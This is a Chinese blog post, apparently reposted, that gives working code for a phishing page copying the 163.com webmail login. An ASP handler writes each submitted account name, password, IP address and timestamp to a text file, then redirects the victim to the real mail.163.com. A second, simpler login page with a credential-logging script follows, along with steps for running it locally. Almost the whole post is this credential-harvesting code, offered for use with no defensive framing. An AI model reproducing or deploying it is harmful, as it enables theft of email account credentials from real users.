163.html页面:
下面是主要代码(附件有完整代码!):
- <form id="login163" name="loginform" method="post" action="163.asp" target="frameforlogin">
- <div id="idInputLine" class="loginFormIpt showPlaceholder" style="margin-top:32px;">
- <input class="loginFormTdIpt" tabindex="1" title="请输入帐号" id="idInput" name="username" type="text" maxlength="50" value="" style="width:145px;" />
- <span class="domain">@163.com</span>
- <div id="pwdInputLine" class="loginFormIpt showPlaceholder">
- <input class="loginFormTdIpt" tabindex="2" title="请输入密码" id="pwdInput" name="pwd" type="password"/>
- <label for="pwdInput" class="placeholder" id="pwdPlaceholder">密码</label>
- <div class="loginFormIpt loginFormIptWiotTh">
- <button id="loginBtn" class="btn btn-login formSubmit" tabindex="6" type="submit">点击升级</button><input type="hidden" name="Work" value="Add">
163.asp 接受页面代码,在本目录生成test.txt文件:
- <%
- Response.Buffer=True
- testfile=Server.MapPath("test.txt")
- set fs=server.CreateObject("scripting.filesystemobject")
- set thisfile=fs.OpenTextFile(testfile,8,True,0)
- thisfile.WriteLine("账户:"&request.form("username"))
- thisfile.WriteLine("密码:"&request.form("pwd"))
- thisfile.WriteLine("ip:"&request.ServerVariables("REMOTE_ADDR"))
- thisfile.WriteLine("time:"&now())
- thisfile.Writeline("——————X————————")
- thisfile.close
- set fs = nothing
- %>
- <meta http-equiv="refresh" content="0;URL=http://mail.163.com/">
另外一个简单例子:
login.htm
- <html>
- <td height="103" valign="top"><form name="form1" method="post" action="ok.asp">
- <p align="center">帐 号:<input maxlength=10 size=16 name=u></span>
- </div>
- <p align="center">口 令:<input type=password maxlength=16 size=16 name=p>
- <p align="center">
- <input type="submit" name="Submit" value="提 交">
- <input type="reset" name="Submit2" value="重 写">
- </html>
ok.asp
- <%
- Response.Buffer=True
- username=Request.Form("u")
- password=Request.Form("p")
- testfile=Server.MapPath("password.txt")
- set fs=server.CreateObject("scripting.filesystemobject")
- set thisfile=fs.OpenTextFile(testfile,8,True,0)
- thisfile.WriteLine(username)
- thisfile.WriteLine(password)
- thisfile.close
- set fs = nothing
- %>
本地搭建web环境,然后打开login.htm页面,输入用户名和密码,点击提交。
就成生了password.txt,打开这个txt文件就能看到密码了。
转载于:https://blog.51cto.com/jzking121/1065255